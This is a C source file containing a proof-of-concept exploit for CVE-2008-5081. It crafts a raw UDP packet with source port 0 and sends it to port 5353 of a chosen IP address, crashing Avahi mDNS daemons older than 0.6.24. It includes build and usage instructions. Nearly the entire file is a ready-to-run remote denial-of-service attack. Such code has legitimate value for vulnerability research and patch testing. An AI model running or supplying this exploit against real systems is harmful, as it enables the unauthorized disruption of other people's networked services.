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/*
* cve-2008-5081.c
*
* Avahi mDNS Daemon Remote DoS < 0.6.24
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Usage:
*
* gcc cve-2008-5081.c -ldnet -o cve-2008-5081
* ./cve-2008-5081 1.2.3.4
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081
*
* Crafted mDNS packet with source port 0 can cause avahi-daemon
* to abort() due to failed assertion assert(port > 0); in
* originates_from_local_legacy_unicast_socket() function in
* avahi-core/server.c.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dnet.h>
int
main(int argc, char **argv)
{
ip_t *sock;
intf_t *intf;
struct addr dst;
struct ip_hdr *ip;
struct udp_hdr *udp;
struct intf_entry entry;
int len = IP_HDR_LEN + UDP_HDR_LEN;
char buf[len];
if (argc < 2 || addr_aton(argv[1], &dst)) {
printf("error: please specify a target ip address\n");
return 1;
}
memset(buf, 0, sizeof(buf));
ip = (struct ip_hdr *) buf;
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_off = 0;
ip->ip_sum = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = IP_PROTO_UDP;
ip->ip_id = htons(0xdead);
ip->ip_len = htons(len);
udp = (struct udp_hdr *) (buf + IP_HDR_LEN);
udp->uh_sum = 0;
udp->uh_sport = htons(0);
udp->uh_dport = htons(5353);
udp->uh_ulen = htons(UDP_HDR_LEN);
intf = intf_open();
intf_get_dst(intf, &entry, &dst);
intf_close(intf);
ip->ip_src = entry.intf_addr.addr_ip;
ip->ip_dst = dst.addr_ip;
ip_checksum(buf, len);
sock = ip_open();
if (!sock) {
printf("error: root privileges needed for raw socket\n");
return 1;
}
ip_send(sock, buf, len);
ip_close(sock);
return 0;
}
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